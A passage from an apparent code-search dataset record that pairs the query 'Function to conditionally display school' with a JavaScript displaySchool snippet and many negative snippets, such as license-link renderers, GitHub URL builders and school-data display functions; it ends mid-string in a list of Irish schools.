githubToken) {\n if (config.useSsh) {\n return \"git@github.com:\" + config.owner + \"/\" + config.name + \".git\";\n }\n var baseHttpUrl = \"https://github.com/\" + config.owner + \"/\" + config.name + \".git\";\n if (githubToken !== undefined) {\n return addTokenToGitHttpsUrl(baseHttpUrl, githubToken);\n }\n return baseHttpUrl;\n}", "function getRepositoryGitUrl(config, githubToken) {\n if (config.useSsh) {\n return \"git@github.com:\" + config.owner + \"/\" + config.name + \".git\";\n }\n var baseHttpUrl = \"https://github.com/\" + config.owner + \"/\" + config.name + \".git\";\n if (githubToken !== undefined) {\n return addTokenToGitHttpsUrl(baseHttpUrl, githubToken);\n }\n return baseHttpUrl;\n}", "function renderLicenseLink(license) {\n if(license === 'MIT') {\n return `[GitHub License](https://opensource.org/licenses/MIT)`\n } else if (license === 'AUR') {\n return `![GPLv3 License](http://www.apache.org/licenses/LICENSE-2.0)`\n } else if (license === 'GPL') {\n return `![AGPL License](https://www.gnu.org/licenses/gpl-3.0.html)`\n } else {\n return '';\n }\n}", "function renderLicenseLink(license) {\n return (license === 'None') ? '' : `* [License](#license)`;\n}", "function renderLicenseLink(license) {\n if(license) {\n for( var i = 0; i< licenseArr.length; i++) {\n if(license[0] === licenseArr[i].license) { \n return `${licenseArr[i].link}`\n } \n }\n } else {\n return '';\n } \n}", "function getURL( repository ) {\n var repourl;\n\n if (typeof repository === 'object') {\n repourl = repository.url;\n } else {\n repourl = repository\n };\n\n return repourl;\n}", "function showURL(data) {\n if (data.success) {\n cardLinkElem.innerHTML = `<a class=\"twitter-url\" href=${data.cardURL} target=\"_blank\">${data.cardURL}</a>`;\n twitterLink(data.cardURL);\n } else {\n cardLinkElem.innerHTML = 'ERROR: ' + data.error;\n }\n}", "function renderLicenseLink(license) {\n if (!license) return '';\n else if (license === 'MIT License') {\n return 'https://www.mit.edu/~amini/LICENSE.md';\n } else if (license === 'GNU GPLv3') {\n return 'https://www.gnu.org/licenses/lgpl-3.0.html';\n }\n}", "function renderLicenseLink(license) {\n if (license !== 'None'){\n return `[License](#license)`;\n }\n return '';\n}", "function renderLinkSection(siteLink) {\n\n if (!siteLink) {\n return \"\";\n } else {\n\n return `\n ### Live Site \n [Click to see the live site!](${siteLink})\n `\n}\n}", "render() {\n const { title, url, external } = this.props;\n\n return (\n <a\n className=\"link\"\n href={url}\n title={title}\n target={external ? \"_blank\" : undefined}\n rel={external ? \"noopener noreferrer\" : undefined}\n >\n {this.props.children || title}\n </a>\n );\n }", "function renderLicenseLink(license) {\n if (license) {\n return '';\n }\n}", "function onDomain() {\n if (window.location.href.indexOf('https://junn3r.github.io/') != -1) {\n return true;\n } else {\n return false;\n }\n }", "function renderLicenseLink(license) {\n if (license) {\n switch (license) {\n case 'MIT License':\n return '\\n\\n> This project was created under the standard MIT licence.\\n\\n[Learn more about this licence.](https://lbesson.mit-license.org/)';\n case 'GPLv3 License':\n return '\\n\\n> This project was created under the GNU General Public License.\\n\\n[Learn more about this licence.](http://www.gnu.org/licenses/gpl-3.0.en.html)';\n case 'Apache 2.0 License':\n return '\\n\\n> This project was created under the Apache License, Version 2.0.\\n\\n[Learn more about this licence.](https://www.apache.org/licenses/LICENSE-2.0)';\n case 'Mozilla Public License 2.0':\n return '\\n\\n> This project was created under the Mozilla Public License, Version 2.0.\\n\\n[Learn more about this licence.](https://www.mozilla.org/en-US/MPL/2.0/)';\n default:\n \"\";\n break;\n }\n }\n}", "function userInformationHTML(user) { //the 'user' parameter here references the user object being returned from the github API. this contains information methods like user's name login name etc.\n//could console.log(user) to see all the different things in user object from github data API that you could display.\n return `<h2>${user.name}\n <span class=\"small-name\">\n (@<a href=\"${user.html_url}\" target= \"_blank\">${user.login}</a>)\n </span>\n </h2>\n <div class=\"gh-content\">\n <div class=\"gh-avatar\">\n <a href=\"${user.html_url} target= \"_blank\" \n <img src=\"${user.avatar_url}\" width=\"80\" height=\"80\" alt=\"${user.login}\"/>\n </a>\n </div>\n <p>Followers: ${user.followers} - Following ${user.following} <br> Repos: ${user.public_repos}</p>\n </div>`;\n}", "function renderLicenseLink(license) {\n if (license !== \"None\") {\n return (\n `\\n* [License](#license)\\n`\n )\n }\n return ''\n}", "function renderLicenseLink(license) {\n if (license !== \"None\") {\n return `\\n For license link, please check at (https://choosealicense.com/licenses/mit/#)\\n`;\n }\n return \"\";\n}", "function renderLicenseLink(license) {\n\n switch (license) {\n case \"MIT\":\n return \"(https://mit-license.org/)\"\n break;\n case \"GNU GPLv3\":\n return \"(https://www.gnu.org/licenses/gpl-3.0)\"\n break;\n case \"Apache License 2.0\":\n return \"(https://www.apache.org/licenses/LICENSE-2.0)\"\n break;\n }\n\n}", "function renderLicenseLink(license) {\n let x = \"\";\n switch(license){\n case \"Apache\":\n x = 'https://opensource.org/licenses/Apache-2.0';\n break;\n case \"MIT\":\n x = 'https://opensource.org/licenses/MIT';\n break;\n case \"IBM\": \n x = 'https://opensource.org/licenses/IPL-1.0';\n break;\n case \"BSD\": \n x = 'https://opensource.org/licenses/BSD-3-Clause';\n break;\n case \"None\": \n x = '';\n break;\n default: \n x = \"\";\n }\n return x;\n}", "function renderLicenseLink(license, licenseObj) {\n if (!license) {\n return \"\";\n } else if (license) {\n const licenseLinkUrl = licenseObj[license].link;\n return licenseLinkUrl;\n } \n}", "function renderLicenseLink(licenseUsed) {\n\n if (licenseUsed == \"MIT License\") {\n\n link = \"[![License: MIT]](https://opensource.org/licenses/MIT)\";\n }\n else if (licenseUsed == 'Apache License') {\n link = \"[![License: Apache](https://opensource.org/licenses/Apache-2.0)\";\n }\n else if (licenseUsed == 'ISC License') {\n link = \"[![License: ISC](https://opensource.org/licenses/ISC)\";\n }\n else {\n return \"\";\n }\n return link;\n}", "function repoInformationHTML(repos) {\n if (repos.length === 0) { //if data not return (no repos found) then the array of that data = 0 and we want to return a comment\n return `<div class=\"clearfix repo-list\">No Repos!</div>`\n }\n //if data is returned then we need to loop through the array so create a varible to store it\n let listItemsHTML = repos.map(function(repo){\n return `<li>\n <a href=\"${repo.html_url}\" target=\"_blank\">${repo.name}</a>\n </li>`;\n });\n\n return `<div class=\"clearfix repo-list\">\n <p>\n <strong>Repo List:</strong>\n </p>\n <ul>\n ${listItemsHTML.join(\"\\n\")}\n </ul>\n </div>`;\n}", "function loadGithub(GH, UI) {\n var data = GH.parse(UI);\n loadGithubtoScript(UI, data,\n function(result){\n data = GH.parseurl(result['path']);\n $(UI.URL_INPUT).val(GH.createurl(data))\n UI.showshareurl(data);\n UI.seteditor(maincontent);\n UI.clearselect();\n });\n \n }", "function addURL() {\n var url = companyInfo['url'];\n var shortURL = url.replace('https://www.linkedin.com/', '');\n $('#company-linkedin').val(shortURL);\n}", "function renderLicenseLink(license) {\n if (license === 'Creative Commons') {\n return 'Find information about this license [here](http://creativecommons.org/publicdomain/zero/1.0/)'\n } else if (license === 'MIT') {\n return 'Find information about this license [here](https://opensource.org/licenses/MIT)'\n } else if (license === 'None') {\n return 'No license link available.'\n }\n}", "function _getLink(text, enabled, urlFormat, index) {\n if (enabled == false)\n return J.FormatString(' <a class=\"button-white\" style=\"filter:Alpha(Opacity=60);opacity:0.6;\" href=\"javascript:void(0);\"><span>{0}</span></a>',\n text);\n else\n return J.FormatString(' <a class=\"button-white\" href=\"javascript:window.location.href=\\'' + urlFormat + '\\';\"><span>{1}</span></a>', index, text);\n }", "function landingPageTrigger() {\n const query = getRepoNameFromUrl();\n if (query) {\n JQ_REPO_FIELD.val(query);\n return \"\";\n } else {\n return LANDING_PAGE_INIT_MSG;\n }\n}" ]
[ "0.6730691", "0.6720269", "0.6720269", "0.66116107", "0.6607243", "0.6560302", "0.64789194", "0.63887894", "0.62667286", "0.6216382", "0.6209078", "0.60949594", "0.60682434", "0.6067024", "0.6054763", "0.6046112", "0.6037835", "0.5945642", "0.59440583", "0.59406525", "0.59192574", "0.58918643", "0.5870039", "0.5869018", "0.5858699", "0.58568215", "0.5852237", "0.5813017", "0.57975626", "0.5779109", "0.5779109", "0.5779109", "0.5776824", "0.5773846", "0.57506055", "0.57364476", "0.57293046", "0.57192874", "0.5708958", "0.57064486", "0.56694907", "0.5667104", "0.56501997", "0.5634278", "0.56332994", "0.563248", "0.5625506", "0.5622398", "0.56221044", "0.55997705", "0.55858856", "0.55789465", "0.5553815", "0.55434173", "0.5536728", "0.55271256", "0.5523024", "0.5520749", "0.5518346", "0.55083543", "0.55073225", "0.5489752", "0.5475681", "0.54699653", "0.5464752", "0.54620427", "0.54503727", "0.54270446", "0.5425686", "0.5417124", "0.539618", "0.5395054", "0.5394506", "0.5387", "0.5387", "0.537788", "0.5363286", "0.5362326", "0.53615856", "0.5355055", "0.53504914", "0.5347553", "0.53432256", "0.5335898", "0.53350824", "0.5331722", "0.5330682", "0.5329729", "0.5324205", "0.53228587", "0.5321855", "0.53173023", "0.53021723", "0.53003377", "0.5299055", "0.52985513", "0.52965015", "0.52961653", "0.52920115", "0.5288354" ]
0.7065741
0
Function to conditionally display school
function displaySchool(school) { return ` <li class="list-group-item p-4"><span class="text-muted">School: </span>${school}</li> ` }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function getSchool() {\n return \"Novi Hogeschool\";\n}", "function School(s, i) {\n let end = s.end;\n if(end === -1) {\n end = <small>present</small>;\n }\n\n return (\n <div key={i}>\n <h5 className=\"d-flex justify-content-between\">\n {s.school}\n <div>{s.start} - {end}</div>\n </h5>\n <h6>\n {s.location}\n <br />\n <a href={s.link}>{s.degree} in {s.major}</a>\n </h6>\n <p>{s.additional}</p>\n </div>\n );\n }", "getSchool () {\n return this.school;\n }", "getSchool() {\r\n return this.school;\r\n }", "getSchool() {\n return this.school\n }", "getschool() {\n return this.school;\n }", "getSchool(){\n \n return this.school; \n }", "getSchool() {\n return this.school;\n }", "getSchool() {\n return this.school;\n }", "getSchool() {\n return this.school;\n }", "getSchool() {\n return this.school;\n }", "function School(){\n const school = {\n\n vak: [\"FRO\", \"BAP\", \"NED\"],\n opdracht: [\"Fotogallery\", \"Grid\", \"Object\", \"Login\", \"Registratie\", \"Uploaden\", \"Correspondentie 1\", \"Correspondentie 2\", \"Correspondentie 3\" ],\n cijfer: [\"6.2\", \"8.3\", \"4.6\", \"7.0\", \"9.1\", \"3.5\", \"10\", \"5\", \"8.7\" ]\n }\n}", "getSchool () {\n return this.school;\n\n}", "getSchool(){\n return this.school;\n }", "getSchool(){\n return this.school;\n }", "function loadSchoolInfo() {\n const schoolSearch = document.getElementById('school-search').value;\n\n // Get School Data from API.\n fetch(getLink(schoolSearch))\n .then((response) => response.text())\n .then((data) => {\n const parsedData = JSON.parse(data);\n const schools = parsedData['results'];\n\n // Get main campus\n const dataResults = getMainCampus(schools);\n\n // Basic School Information Variables.\n const ownership = getOwnership(dataResults);\n const name = getSchoolInfo(dataResults, 'name');\n const city = getSchoolInfo(dataResults, 'city');\n const state = getSchoolInfo(dataResults, 'state');\n\n // Cost Statistics Variables.\n const inStateTuition = getCostInfo(dataResults, 'in_state');\n const outOfStateTuition = getCostInfo(dataResults, 'out_of_state');\n\n // Admissions Statistics Variables.\n const acceptanceRate = getAcceptanceRate(dataResults);\n const avgSat = getSatInfo(dataResults, 'average.overall');\n const avgAct = getActInfo(dataResults, 'midpoint.cumulative');\n\n // Student Statistic Variables.\n const numStudents = getNumStudents(dataResults);\n const numMen = getGender(dataResults, 'men') * numStudents;\n const numWomen = getGender(dataResults, 'women') * numStudents;\n const graduationRate4yr = getGraduationRate(dataResults);\n const numWhiteStudents = getRace(dataResults, 'white') * numStudents;\n const numAsianStudents = getRace(dataResults, 'asian') * numStudents;\n const numBlackStudents = getRace(dataResults, 'black') * numStudents;\n const numHispanicStudents =\n getRace(dataResults, 'hispanic') * numStudents;\n const numIndigenousStudents =\n getRace(dataResults, 'aian') * numStudents;\n const numMultiracialStudents =\n getRace(dataResults, 'two_or_more') * numStudents;\n const numUnreportedRaceStudents = (getRace(dataResults, 'unknown') +\n getRace(dataResults, 'non_resident_alien')) * numStudents;\n\n // Name Section.\n schoolHeader = document.getElementById('school-name');\n schoolHeader.innerHTML = '';\n schoolHeader.append(dataResults['school.name']);\n\n // Description Section.\n const schoolDesc = document.getElementById('school-desc');\n schoolDesc.innerHTML = '';\n schoolDesc.append(`${name} is a ${ownership} University \n in ${city}, ${state}`);\n\n // Cost Section.\n const costDiv = document.getElementById('cost');\n costDiv.innerHTML = '';\n costDiv.append(`In-State Tuition: $${inStateTuition}`);\n costDiv.append(`Out-of-State Tuition: $${outOfStateTuition}`);\n\n // Admissions Section.\n const admissionsDiv = document.getElementById('admissions');\n admissionsDiv.innerHTML = '';\n admissionsDiv.append(`Acceptance Rate: ${acceptanceRate}%`);\n admissionsDiv.append(`Average SAT Score: ${avgSat}`);\n admissionsDiv.append(`Average ACT Score: ${avgAct}`);\n\n // Students Section.\n const studentsDiv = document.getElementById('students');\n studentsDiv.innerHTML = '';\n studentsDiv.append(`Population: ${numStudents} Students`);\n studentsDiv.append(`4 Year Graduation Rate: ${graduationRate4yr}%`);\n\n // Draw charts.\n drawRaceChart(numWhiteStudents, numAsianStudents, numBlackStudents,\n numHispanicStudents, numIndigenousStudents, numMultiracialStudents,\n numUnreportedRaceStudents);\n drawGenderChart(numMen, numWomen);\n });\n}", "getSchool() {\n return this.school;\n}", "function formatCollege (college) {\n\t if (college.loading) return 'Loading...';\n\n\t var markup = '<div>'+college.name+'</div>';\n\n\t return markup;\n\t }", "getSchool(){\n return this.school;\n}", "function renderSchool(doc){\n let dib = document.createElement('div');\n let school = document.createElement('div');\n let degree = document.createElement('div'); \n let year_start = document.createElement('span');\n let year_end = document.createElement('span');\n\n dib.setAttribute('data-id', doc.id);\n school.textContent = doc.data().school;\n degree.textContent = doc.data().degree;\n year_start.textContent = doc.data().year_start + \" - \";\n year_end.textContent = doc.data().year_end;\n\n\n dib.appendChild(school);\n dib.appendChild(degree);\n dib.appendChild(year_start);\n dib.appendChild(year_end); \n\n schoollist.appendChild(dib);\n\n }", "function $populateSchool(){\n if ($nicknamesIndex <= ($nicknames.length - 1)){\n $(\"#college\").text($currentSchool);\n }\n else {\n $(\"#any-key\").text(\"Game Over!\");\n $(\"#score\").text(\"Final Score: \" + $score + \" out of \" + $nicknames.length);\n }\n}", "function showUniversity(showeverything, university){\n\tvar elements = document.querySelectorAll('*[data-name~=\"university\"]');\n\tfor (var i=0; i < elements.length; i++) {\n\t\tif(showeverything || (elements[i].hasChildNodes() && elements[i].firstChild.nodeValue == university)) {\n\t\t\telements[i].parentNode.setAttribute(\"data-hiderow_university\",\"false\");\n\t\t} else {\n\t\t\telements[i].parentNode.setAttribute(\"data-hiderow_university\",\"true\");\n\t\t}\n\t}\n\t\n\tpropagateVisibility(false);\n}", "function getAndDisplayStudents() {\n getStudents(displayStudents);\n}", "_getFormatedName(){\n\t\tlet { college } = this.props;\n\t\treturn college ? college.school_name.split(/\\s+/).join('_').toLowerCase() : null;\n\t}", "function experience(years) {\n if (years >= 0 && years < 1) return \"Beginner\";\n if (years >= 1 && years < 3) return \"Intermediate\";\n if (years >= 3 && years < 6) return \"Advanced\";\n if (years >= 7) return \"Jedi Master\";\n}", "function showSchools(county) {\n\tvar schools = returnArrayOfSchools($(county).val());\n\t$('#school').empty();\n\tfor(var i=0; i<schools.length; i++) {\n\t\tvar option = '<option>';\n\t\t\toption += schools[i];\n\t\t\toption += '</option>';\n\t\t\t$('#school').append(option);\n\t}\n}", "function hasSchoolFilter() {\n var result = _.findWhere(vm.schools, {\n isChecked: true\n });\n return typeof result !== 'undefined';\n\n }", "function showHseSkill(branch, generation) {\n var hseStudents = document.querySelector('.skill-students');\n hseStudents.textContent = hseSkills(branch, generation);\n var percentageHseStudents = document.querySelector('.percentage-skill-students');\n percentageHseStudents.textContent = percentageHseSkills(branch, generation);\n }", "async function getTeacherSchool () {\r\n try {\r\n //Get School\r\n ///The api to call to get the user's school, complete with query string parameters\r\n var api = apiRoot + \"/user/school?email=\" + userSession.auth.email;\r\n\r\n ///Getting the school via api call\r\n var school = await callGetAPI(api, \"your school\");\r\n\r\n school = school.school;\r\n\r\n ///Put the school into the school select box\r\n $(\"#school-select\").append(newSelectItem(school));\r\n\r\n ///Hide the school select box - only for admins\r\n $(\"#school-input-container\").hide();\r\n } catch (e) {\r\n generateErrorBar(e);\r\n }\r\n}", "function ShowStudentTabel(object)\n{\n var richting = object.innerHTML;\n var tabel;\n\n richting = richting.trim();\n\n\tswitch(richting)\n\t{\n\t\tcase \"BaKo\":\n\t\t tabel = document.getElementsByClassName(\"studentlist\")[0];\n\t\t \n\t\t\tif(tabel.style.display == \"none\")\n\t\t\t{\n\t\t\t\ttabel.style.display = \"block\";\n\t\t\t\tobject.className = \"richtingmin\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ttabel.style.display = \"none\";\n\t\t\t\tobject.className = \"richting\";\n\t\t\t}\n\t\tbreak;\n\t\tcase \"BaLo\":\n\t\t\ttabel = document.getElementsByClassName(\"studentlist\")[1];\n\t\t\tif(tabel.style.display == \"none\")\n\t\t\t{\n\t\t\t\ttabel.style.display = \"block\";\n\t\t\t\tobject.className = \"richtingmin\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ttabel.style.display = \"none\";\n\t\t\t\tobject.className = \"richting\";\n\t\t\t}\n\t\tbreak;\n\t\tcase \"BaSo\":\n\t\t\ttabel = document.getElementsByClassName(\"studentlist\")[2];\n\t\t\tif(tabel.style.display == \"none\")\n\t\t\t{\n\t\t\t\ttabel.style.display = \"block\";\n\t\t\t\tobject.className = \"richtingmin\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\ttabel.style.display = \"none\";\n\t\t\t\tobject.className = \"richting\";\n\t\t\t}\n\t\tbreak;\n\t}\n}", "function university(){\n\n let study = prompt('In which university i have studied do you think \"JUST\" or \"YARMOUK\" ?').toUpperCase();\n if (study === 'JUST') {\n alert('TRUE ! I love it so much');\n score++;\n } else if (study === 'YARMOUK') {\n alert('lovely one but no ! try again ;)');\n prompt('which one do you think now ?');\n }\n \n}", "getPolicyText(policies, minYear, maxYear) {\n if (policies) {\n for (let i = 0; i < policies.length; i++) {\n let start = policies[i][\"Year of establishment\"]\n let end = policies[i][\"Year of disestablishment\"]\n if (start !== \"Nil\" && start !== undefined && end !== undefined) {\n if (parseInt(start.substr(0,4) <= maxYear && (end === \"Nil\" || parseInt(end.substr(0, 4)) > minYear))) {\n let str = \"<b>Institution Name:</b> \" + policies[i][\"Institution name\"] + \"<br />\"\n str += \"<b>Institution Overview:</b> \" + policies[i][\"Institution Overview\"]\n str += \"<b> Year of establishment: </b> \" + policies[i][\"Year of establishment\"]\n str += \"<b> Year of disestablishment: </b> \" + policies[i][\"Year of disestablishment\"]\n return str\n }\n }\n }\n }\n\n return \"\"\n}", "function gradeCalculator(grade) {\n //show needs return a string\n let show;\n //with if will find out the grade of the student\n if (grade >= 90) {\n show = \"You got an A \" + \"(\" + grade.toString() + \"%)!\"\n return show;\n }else if (grade >= 80) {\n show = \"You got a B \" + \"(\" + grade.toString() + \"%)!\"\n return show;\n }else if (grade >= 70) {\n show = \"You got a C \" + \"(\" + grade.toString() + \"%)!\"\n return show;\n }else if (grade >= 60) {\n show = \"You got a D \" + \"(\" + grade.toString() + \"%)!\"\n return show;\n }else if (grade >= 50) {\n show = \"You got an E \" + \"(\" + grade.toString() + \"%)!\"\n return show;\n }else if (grade >= 0) {\n show = \"You got a F \" + \"(\" + grade.toString() + \"%)!\"\n return show;\n }\n}", "function calculateSchoolFacility(options) {\r\n\t\t\r\n\t\tvar facility = schoolType[options.tpSchool],\r\n\t\t\tqtStudents = options.qtStudents,\r\n\t\t\tkgCO2ePerYear = qtStudents * facility.kgCO2PerYearPerStudent;\r\n\t\tconsole.log(\"SchoolFacilities:\" + kgCO2ePerYear);\r\n\t\treturn {\r\n\t\t\tkgCO2ePerYear: kgCO2ePerYear\r\n\t\t};\r\n\t}", "function getSchoolsPerimeter() {\r\n if (abstand_umkr.value != \"\" && parseInt(abstand_umkr.value) <= 40000) {\r\n var schulen_gefiltert = {};\r\n schulen_gefiltert.features = [];\r\n //Schularten filtern\r\n if (umkr_GS.checked) {\r\n //alle GS-Objekte durchlaufen\r\n for (let i = 0; i < schoolData.features.length; i++) {\r\n if (schoolData.features[i].properties[\"school:de\"].includes(\"Grundschule\")) {\r\n schulen_gefiltert.features.push(schoolData.features[i]);\r\n }\r\n }\r\n }\r\n if (umkr_GY.checked) {\r\n for (let i = 0; i < schoolData.features.length; i++) {\r\n if (schoolData.features[i].properties[\"school:de\"] == \"Gymnasium\") {\r\n schulen_gefiltert.features.push(schoolData.features[i]);\r\n }\r\n }\r\n }\r\n if (umkr_RS.checked) {\r\n for (let i = 0; i < schoolData.features.length; i++) {\r\n if (schoolData.features[i].properties[\"school:de\"].includes(\"Realschule\")) {\r\n schulen_gefiltert.features.push(schoolData.features[i]);\r\n }\r\n }\r\n }\r\n if (umkr_IGS.checked) {\r\n for (let i = 0; i < schoolData.features.length; i++) {\r\n if (schoolData.features[i].properties[\"school:de\"] == \"Gesamtschule\") {\r\n schulen_gefiltert.features.push(schoolData.features[i]);\r\n }\r\n }\r\n }\r\n if (umkr_FOES.checked) {\r\n for (let i = 0; i < schoolData.features.length; i++) {\r\n if (schoolData.features[i].properties[\"school:de\"] == \"Förderschule\") {\r\n schulen_gefiltert.features.push(schoolData.features[i]);\r\n }\r\n }\r\n }\r\n if (umkr_FWS.checked) {\r\n for (let i = 0; i < schoolData.features.length; i++) {\r\n if (schoolData.features[i].properties[\"school:de\"] == \"Freie Waldorfschule\") {\r\n schulen_gefiltert.features.push(schoolData.features[i]);\r\n }\r\n }\r\n }\r\n //rote Anzeige wenn kein Schulart ausgewählt ist\r\n if ((!umkr_FOES.checked) && (!umkr_FWS.checked) && (!umkr_GS.checked) && (!umkr_GY.checked) && (!umkr_IGS.checked) && (!umkr_RS.checked)) {\r\n var keine_Eingabe = document.getElementById('keine_art_umkr');\r\n keine_Eingabe.innerHTML = \"Wähle bitte mind. eine Schulart\";\r\n keine_Eingabe.style = 'color: red';\r\n return \"\";\r\n }\r\n\r\n //Doppelte Schulen entfernen\r\n var schulen_unique = {};\r\n schulen_unique.features = schulen_gefiltert.features.filter(function (elem, index, self) {\r\n return index === self.indexOf(elem);\r\n })\r\n\r\n //Isochronen Post-Request Isochrones API OpenRouteService\r\n var mitte = [start[1], start[0]]; //Format LonLat\r\n var abstand = abstand_umkr.value;\r\n let request = new XMLHttpRequest();\r\n request.open('POST', \"https://api.openrouteservice.org/v2/isochrones/foot-walking\");\r\n request.setRequestHeader('Accept', 'application/json, application/geo+json, application/gpx+xml, img/png; charset=utf-8');\r\n request.setRequestHeader('Content-Type', 'application/json');\r\n request.setRequestHeader('Authorization', apiKeys[0].key);\r\n request.onreadystatechange = function () {\r\n if (this.readyState === 4) {\r\n var json = JSON.parse(this.responseText);\r\n var isochrone = json.features[0].geometry.coordinates; //Polygon\r\n isochroneTest(isochrone, schulen_unique);\r\n }\r\n };\r\n const body = '{\"locations\":[[' + mitte + ']],\"range\":[' + abstand + '],\"range_type\":\"distance\"}';\r\n request.send(body);\r\n } else {\r\n var keine_Eingabe = document.getElementById('falsche_E_abstand');\r\n keine_Eingabe.innerHTML = \"Bitte gib eine g&uuml;ltige Zahl ein\";\r\n keine_Eingabe.style = 'color: red';\r\n return \"\";\r\n }\r\n marker_address.addTo(mymap);\r\n\r\n}", "function showAbsenceDetails(nr) {\nif (nr != undefined) {\nelementToCheck = nr;\t\n} else {\nelementToCheck = activeElement;\n}\ncontent = \"Abwesenheit\";\nactiveDataSet = studentList.find(dataset => dataset.absenceId == elementToCheck);\n\nif (activeDataSet['ende'] != activeDataSet['beginn']) {\ncontent += \" vom <b>\" + formatDateDot(activeDataSet['beginn']) + \"</b> bis <b>\" +formatDateDot(activeDataSet['ende'])+'</b>';\t\n} else {\ncontent += \" am <b>\" + formatDateDot(activeDataSet['beginn']) + \"</b>\";\t\n}\nanzeige = \"\";\nif (activeDataSet['adminMeldung'] != 0) {\nanzeige = \"Eintrag Sekretariat am: <b>\" + formatDateDot(activeDataSet['adminMeldungDatum'])+'</b><br/>';\t\n}\nif (activeDataSet['beurlaubt'] == 0) {\n\tif (activeDataSet['lehrerMeldung'] != \"0\") {\n\tanzeige += \"Meldung Lehrer am: <b>\" + formatDateDot(activeDataSet['lehrerMeldungDatum'])+'</b><br/>';\t\n\t}\n\tif (activeDataSet['elternMeldung'] != \"0\") {\n\tanzeige += \"Eintrag Eltern am: <b>\" + formatDateDot(activeDataSet['elternMeldungDatum'])+'</b>';\t\n\t}\n\tif (activeDataSet['entschuldigt'] != \"0000-00-00\") {\n\tanzeige += \"Entschuldigung am: <b>\" + formatDateDot(activeDataSet['entschuldigt'])+'</b>';\t\n\t}\t\n}\nif (activeDataSet['kommentar'] != \"\") {\nanzeige += \"Kommentar: \" + activeDataSet['kommentar'];\t\n}\ncontent += '<br/>' + anzeige;\n\nreturn content;\t\n}", "function returnArrayOfSchools( county ) {\n\tswitch (county) {\n case \"Carlow\": return [\"Borris Vocational School, Borris\",\"Carlow Vocational School, Carlow\",\n\t\t\t\t\t\t \"Coláiste Eoin, Hacketstown\",\"Gaelcholáiste Cheatharlach, Easca\",\n\t\t\t\t\t\t \"Presentation / De La Salle College, Muine Bheag\",\"Presentation College, Carlow\",\n\t\t\t\t\t\t \"St Mary's Academy CBS, Carlow\",\"St Mary's Knockbeg College, Knockbeg\",\n\t\t\t\t\t\t \"St. Leo's College, Carlow\",\"Tullow Community School, Tullow\",\n\t\t\t\t\t\t \"Vocational School Muine Bheag, Muine Bheag\"];\t\t\t\t\t\n\tbreak;\n\tcase \"Cavan\": return [\"Bailieborough Community School, Bailieborough\",\"Breifne College, Cavan\",\n\t\t\t\t\t\t \"Cavan Institute, Cavan\",\"Loreto College, Cavan\",\"Royal School Cavan, Cavan\",\n\t\t\t\t\t\t \"St Aidans Comprehensive School, Cootehill\",\"St Bricin's Vocational School, Belturbet\",\n\t\t\t\t\t\t \"St Clare's College, Ballyjamesduff\",\"St Patrick's College, Cavan\",\n\t\t\t\t\t\t \"St. Mogue's College, Belturbet\",\"Virginia College, Virginia\"]; \t\n\tbreak;\n\tcase \"Clare\": return [\"Coláiste Mhuire, Ennis\",\"Ennis Community College, Ennis\",\n\t\t\t\t\t\t \"Ennistymon Vocational School, Ennis\",\"Kilrush Community School, Kilrush\",\n\t\t\t\t\t\t \"Mary Immaculate Secondary School, Lisdoonvarna\",\"Meánscoil Na mBráithre, Ennistymon\",\n\t\t\t\t\t\t \"Rice College, Ennis\",\"Scariff Community College, Scariff\",\"Scoil Mhuire, Ennistymon\",\n\t\t\t\t\t\t \"Shannon Comprehensive School, Shannon\",\"St Anne's Community College, Killaloe\",\n\t\t\t\t\t\t \"St Caimin's Community School, Tullyvarraga\",\"St Flannan's College, Ennis\",\n\t\t\t\t\t\t \"St John Bosco Community College, Kildysart\",\"St Joseph's Community College, Kilkee\",\n\t\t\t\t\t\t \"St Michael's Community College, Kilmihill\",\"St. Joseph's Secondary School, Tulla\",\n\t\t\t\t\t\t \"St. Joseph's Secondary School, Milown Malbay\"];\t\t\t\t\t\n\tbreak;\n\tcase \"Cork City\": return [\"Ashton School, Cork\",\"Bishopstown Community School, Cork\",\n\t\t\t\t\t\t \"Christ King Girls' Secondary School, Cork\",\"Christian Brothers College, Cork\",\n\t\t\t\t\t\t \"Coláiste An Spioraid Naoimh, Cork\",\"Coláiste Chríost Rí, Cork\",\n\t\t\t\t\t\t \"Coláiste Daibhéid, Corcaigh\",\"Colaiste Stiofán Naofa, Cork\",\"Cork College Of Commerce, Cork\",\n\t\t\t\t\t\t \"Deerpark C.B.S., Cork\",\"Douglas Community School, Cork\",\"Gaelcholáiste Mhuire, Corcaigh\",\n\t\t\t\t\t\t \"Mayfield Community School, Cork\",\"Mount Mercy College, Cork\",\"Nagle Community College, Cork\",\n\t\t\t\t\t\t \"North Monastery Secondary School, Cork\",\"North Presentation Secondary School, Cork\",\n\t\t\t\t\t\t \"Presentation Brothers College, Cork\",\"Presentation Secondary School, Cork\",\n\t\t\t\t\t\t \"Regina Mundi College, Cork\",\"Scoil Mhuire, Cork\",\"St Aloysius School, Cork\",\n\t\t\t\t\t\t \"St John's Central College, Cork\",\"St Patricks College, Cork\",\n\t\t\t\t\t\t \"St Vincent's Secondary School, Cork\",\"St. Angela's College, Cork\",\n\t\t\t\t\t\t \"Terence Mac Swiney Community College, Cork\",\"Ursuline Secondary School, Cork\"];\n\tbreak;\n\tcase \"Cork County\": return [\"Árdscoil Phobal Bheanntrai, Bantry\",\"Árdscoil Uí Urmoltaigh, Droichead na Bandan\",\n\t\t\t\t\t\t \"Ballincollig Community School, Ballincollig\",\"Bandon Grammar School, Bandon\",\n\t\t\t\t\t\t \"Beara Community School, Beara\",\"Boherbue Comprehensive School, Mallow\",\n\t\t\t\t\t\t \"Carrigaline Community School, Carrigaline\",\"Christian Brothers Secondary School, Mitchelstown\",\n\t\t\t\t\t\t \"Christian Brothers Secondary School, Midleton\",\"Clonakilty Community College, Clonakilty\",\n\t\t\t\t\t\t \"Coachford College, Coachford\",\"Cobh Community College, Cobh\",\"Coláiste an Chraoibhin, Fermoy\",\n\t\t\t\t\t\t \"Coláiste An Chroí Naofa, Carraig na bhFear\",\"Colaiste An Phiarsaigh, Gleann Maghair\",\n\t\t\t\t\t\t \"Coláiste Choilm, Ballincollig\",\"Coláiste Cholmáin, Mainistir Fhearmuí\",\n\t\t\t\t\t\t \"Colaiste Ghobnatan, Baile Mhic Ire\",\"Colaiste Muire, 